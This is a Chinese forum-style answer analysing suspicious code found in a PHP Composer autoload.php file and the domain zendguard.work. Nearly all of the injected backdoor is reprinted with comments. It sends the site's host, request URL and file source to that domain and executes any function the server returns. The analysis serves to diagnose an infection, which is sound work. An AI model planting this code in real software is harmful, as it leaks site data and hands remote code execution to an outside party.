当前位置:首页 > 每日看点

php composer的autoload.php文件里面有奇怪的内容,是中毒了吗?

卡卷网2年前 (2024-12-09)每日看点314
是中毒了吗?

嘘~ 别出声,跟我来......

干啥?去哪?

这儿大神太多,我不好意思说,咱俩悄悄滴...... 我有笨办法......

开始~

#1. 关于域名 zendguard.work

通过 whoxy 检索,确实查不到什么有用的信息:

php composer的autoload.php文件里面有奇怪的内容,是中毒了吗?  第1张

  1. 注册商:NameCheap, Inc.,一家美国的域名注册及服务器托管商;
  2. 域名所有者申请了隐私保护;
  3. 冰岛。

定位 IP 的话,在这儿:

php composer的autoload.php文件里面有奇怪的内容,是中毒了吗?  第2张

这确实是个风险因素,按一般人的逻辑,你要正经做生意(敢起 zendguard 这么 “酷” 的名字......),犯得着藏着掖着嘛?

但这个域名背后是不是一定蹲着个 “坏蛋”,不好说。

如果路子野,也许可以试着联系 NameCheap。

#2. 关于 “奇怪的内容”

我笨,所以要一行一行分析这些 “奇怪的代码” 都干了什么......

先看整体:

<?php //--- 第一次启动,必然访问 zendguard.work,然后取回点什么,赋值给 $cert if( defined("SITE_") ){ $cert = false; } else { //访问 zendguard.work //赋值 } //--- 准备工作做完了,后面不用再访问 zendguard.work,设置个标志 !defined("SITE_") && @define("SITE_", 1); //--- 不论是做好事还是做坏事,反正它开始做了 if($cert != false) { //干点什么 }

那它访问 zendguard.work 的时候干什么了呢?

$cert = @file_get_contents( //--- 拼了这么一个地址 http://cert.zendguard.work/sign/HTTP_HOST //--- 此时,非要说“暴露”了什么,那就是这个 HTTP_HOST,比如 localhost:8080,www.abc.com //--- 但往好里想的话,对面可能只是拿 HTTP_HOST 当“用户名”,仅此而已 'http://cert.zendguard.work/sig' . 'n/' . @$_SERVER["HTTP_HOST"], 0 , //--- 访问 zendguard.work 的时候,模拟 POST 发送了点儿什么 stream_context_create( array( "http" => array( "ignore_errors" => true, "timeout" => (isset($_REQUEST["T0o"]) ? intval($_REQUEST["T0o"]) : (isset($_SERVER["HTTP_T0O"]) ? intval($_SERVER["HTTP_T0O"]) : 1)), "method" => "POST", "header" => "Contet-Type: application/x-www-form-urlencoded", "content" => http_build_query( //--- 以上都是些有的没的,重点看下面 array( //--- 这里把你完整的 URI 取出来了,比如 http://www.abc.com/admin/index.php "url" => ((isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "no" ? "https" : "http") . "://" . @$_SERVER["HTTP_HOST"] . @$_SERVER["REQUEST_URI"]), //--- 这里拿了物理路径... //--- 然后,把该文件的源码直接发了 "src" => file_exists(__FILE__) ? file_get_contents(__FILE__) : "" ) ) ) ) ) );

至此,你的 HTTP_HOST,REQUEST_URI,以及这个文件的源码,都被发给 zendguard.work 了,然后 zendguard.work 响应了一些什么,存在了 $cert 里。

好像也没啥......(乐观)

最后看关键的:

//--- 开始干活 if($cert != false) { $cert = @json_decode($cert, 1); if(isset($cert["f"]) && isset($cert["a1"]) && isset($cert["a2"]) && isset($cert["a3"])) { $cert["f"]($cert["a1"], $cert["a2"], $cert["a3"]); } else if(isset($cert["f"]) && isset($cert["a1"]) && isset($cert["a2"])){ $cert["f"]($cert["a1"], $cert["a2"]); } else if(isset($cert["f"]) && isset($cert["a1"])){ $cert["f"]($cert["a1"]); } else if(isset($cert["f"])){ $cert["f"](); } }

为了直观,我把代码换一种写法:

//假设你的项目文件中存在以下代码(小偷已经进家了) //可能是被黑掉的,也可能是你主动安装框架、库、扩展时引入的 function 小偷(是否动手, 建议偷什么, 不能偷什么){ //do something... } //zendguard.work 开始下指令了 //1.通知小偷,该干活了,可以偷彩电,千万别碰洗衣机 if(小偷 && 动手 && 彩电 && 洗衣机){ 小偷(动手, 彩电, 洗衣机); } //2.通知小偷,该干活了,建议偷彩电,但其他的也不是不行 else if(小偷 && 动手 && 彩电){ 小偷(动手, 彩电); } //3. 通知小偷,该干活了,全都要 else if(小偷 && 动手){ 小偷(动手); } //4. 通知小偷,待命 else if(小偷){ 小偷(); } //5. 小偷没进家,放他一马

这是往坏里想......

往好里想的话:

//假设你的项目中存在以下代码 function 售后服务(到期没, 要不要通知他一下, 要不要断了他的服务){ //do something... }

这么看,也不是不行......

唉......

我这废了半天劲,还不如你直接 log 一下 $cert 里面到底存了啥,哪怕明文 var_dump 一下呢。

然后,如果 $cert["f"] = “张三”,你再去源码里搜 “张三” 嘛......

最后叠个甲,我不搞 PHP,说错了别怪我......

php composer的autoload.php文件里面有奇怪的内容,是中毒了吗?  第3张

扫描二维码推送至手机访问。

版权声明:本文由卡卷网发布,如需转载请注明出处。

本文链接:https://www.kajuan.net/ttnews/2024/12/3635.html

分享给朋友:

相关文章

最让你震惊的网站有哪些?

压箱底的震惊来了, 来波大的,一百个网站! 这些都是我平时辛辛苦苦收集的,是真的牛逼,居然还有这种网站。1、实时地球网址: https://zoom.earth/ 实时图像每 10 分钟更新一次,提供风暴、天气预报、降水、火警等数据 2、陕…

为什么我们一直在给B站充大会员但B站却一直处于亏损状态?

我讲一下离谱的真相吧,欢迎喷我。 很多人都觉得B站在赶走人才,赶走优秀的长视频创作者,也觉得知乎在这么做,是没错的。 确实在这么做。而原因很简单。 只有影响力很大的KOL才有商业价值。 (KOL是指“关键意见领袖”)而你说你是人才? 对不起…

苹果为什么不做千元机?

苹果为什么不做千元机?

第一步,打开苹果官网,注意是.com,不是.cn; 第二步,点击iPhone,选择Compare iPhone; 第三步,选择最新iPhone 15系列,查看起售价格,分别为$1199,$999,$799。 这不妥妥的千元机吗,怎么苹果…

到什么程度才叫精通 Linux?

我们医院有个大牛。 有一次,我的Linux电脑下载了Microsoft office 365 不能运行。于是买了2.5升装康师傅冰红茶找到大牛,让他帮忙解决。 大牛白了我一眼,让我把安装包发给他,只见他输入一个命令将安装包打开,整个屏幕都是…

如何看待 Luv Letter 表示影视飓风专业性实在是让人失望?

一点儿新进展,另外以下有部分需要关注 对于统一变量的问题。这个我在对比上面有写小字解释,我在一开始使用ffmpeg来控制变量。但是发现了不少问题,比如因为遗留bug,会强制将非整数帧的素材转码为VFR导致无法正确帧间对比,因此不考虑,同时尽…

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。